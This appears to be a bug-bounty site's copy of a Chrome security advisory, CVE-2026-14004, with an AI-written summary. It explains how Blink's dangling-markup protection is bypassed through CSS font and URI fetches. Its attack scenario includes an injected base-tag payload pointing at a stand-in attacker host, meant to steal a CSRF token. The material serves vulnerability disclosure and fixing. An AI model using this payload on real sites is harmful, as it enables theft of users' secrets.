Skip to content
Info disclosure Advisory Advanced CVE-2026-14004

Inappropriate implementation in CSS (CVE-2026-14004)

Blink's dangling markup mitigation can be bypassed because CSS font and URI fetches use canonicalized URLs that strip newlines, losing the flag that marks a URL as potentially containing absorbed document content. An attacker could inject a base tag to absorb sensitive content and exfiltrate it via a CSS-triggered request.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 43 days

Flapjack, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: Blink's dangling markup mitigation can potentially be bypassed during CSS font and URI fetches. CSSFontFaceSrcValue and CSSURIValue construct network requests using canonicalized URL strings that lack newlines, causing the potentially_dangling_markup flag to be lost. This could allow data exfiltration via <base> tag injection.

Affected files:

  • third_party/blink/renderer/core/css/css_font_face_src_value.cc
  • third_party/blink/renderer/core/css/css_uri_value.cc

Estimated timestamp from git blame: 2017-05-30

Description

A potential vulnerability in Blink's CSS resource fetching logic allows an attacker to bypass the dangling markup mitigation. This mitigation is designed to prevent data exfiltration by blocking resource loads where a URL appears to have 'swallowed' document content (indicated by the presence of a < character and a newline in the URL).

The bypass occurs because CSSFontFaceSrcValue and CSSURIValue utilize canonicalized URL strings to initiate network requests. This process strips the newline characters, preventing the subsequent URL parsing logic from detecting the dangling markup and setting the appropriate security flag.

Technical Details

  1. When a document's base URL contains dangling markup (e.g., via an injected <base> tag absorbing subsequent newlines and HTML), the CSS parser processes relative URLs against this tainted base URL.

  2. In CSSUrlData, the parsed URL state is split. The canonicalized URL string (with newlines stripped) is stored in absolute_url_, and the dangling markup detection is stored separately in the boolean potentially_dangling_markup_.

  3. In CSSFontFaceSrcValue::Fetch (third_party/blink/renderer/core/css/css_font_face_src_value.cc:150), a new network request is initiated:

    C++
    ResourceRequest resource_request(url_data.ResolvedUrl());
    

    Similarly, in CSSURIValue::AbsoluteUrl (third_party/blink/renderer/core/css/css_uri_value.cc:63), a KURL is constructed:

    C++
    return KURL(UrlData().ResolvedUrl());
    
  4. url_data.ResolvedUrl() returns the canonicalized AtomicString. When ResourceRequest or KURL parses this string, it fails to detect dangling markup because the newlines were previously stripped. Consequently, the newly constructed KURL object evaluates PotentiallyDanglingMarkup() to false.

  5. The request enters the network pipeline and reaches BaseFetchContext::CanRequest (third_party/blink/renderer/core/loader/base_fetch_context.cc:342), which checks:

    C++
    if (url.PotentiallyDanglingMarkup() && url.ProtocolIsInHttpFamily())
    

    Since the flag was lost, this security check is bypassed, and the request is dispatched, potentially exfiltrating absorbed document content.

Note: A similar issue was previously patched in CSSImageValue by using url_data.ResolveUrl(document), which explicitly restores the dangling markup flag.

Potential Attack Scenario

  1. An attacker injects a partial HTML tag, such as <base href="http://attacker.com/?q=">, into a page.
  2. The HTML parser absorbs subsequent sensitive content (e.g., `<input type="hidden" name="csrf" value="SECRET">

) into the base URL. 3. A CSS rule on the page, such as @font-face { src: url('font.woff'); }`, triggers a resource fetch. 4. The fetch uses the tainted base URL but bypasses the dangling markup mitigation, exfiltrating the CSRF token to the attacker's server.

(Note: These are suggested steps; we have not verified this with a runnable proof of concept.)

Suggested Fix

Modify CSSFontFaceSrcValue and CSSURIValue to preserve the potentially_dangling_markup flag. If an ExecutionContext or Document is available at the call site, use url_data.ResolveUrl(document) instead of url_data.ResolvedUrl(). ResolveUrl() explicitly calls url.SetPotentiallyDanglingMarkup() to restore the flag. Alternatively, manually propagate the flag to the ResourceRequest after constructing it from the canonicalized string.

Evaluated with Chrome root at commit: b7d0c4d810da1b31400f198c70d9720fc8f0e5a0


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there's no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the canonicalized URL string used to build the network request has had newlines stripped, so the dangling markup flag is not set on the new request.

Impact

An attacker could exfiltrate sensitive document content such as a CSRF token, though the report notes the steps are suggested and not verified with a runnable proof of concept.

What the attacker needed

Attacker can inject HTML into a page; page loads a CSS font or URI resource; victim visits the crafted page

The fix

The code should be changed to preserve the potentially_dangling_markup flag, for example by using ResolveUrl(document) instead of ResolvedUrl().

How it was found

  1. Inject a partial base tag with an attacker-controlled URL into a page.
  2. The HTML parser absorbs subsequent sensitive content into the base URL.
  3. A CSS rule on the page triggers a resource fetch.
  4. The fetch uses the tainted base URL but bypasses the dangling markup mitigation, exfiltrating the content.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Dangling markup is a trick where an attacker injects an unfinished HTML tag so that the browser treats later page content as part of a URL, then sends that URL to the attacker. This report says a security check meant to stop that can be skipped when the page loads a font or other CSS resource, because the check looks at a cleaned-up version of the URL that no longer shows the problem.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.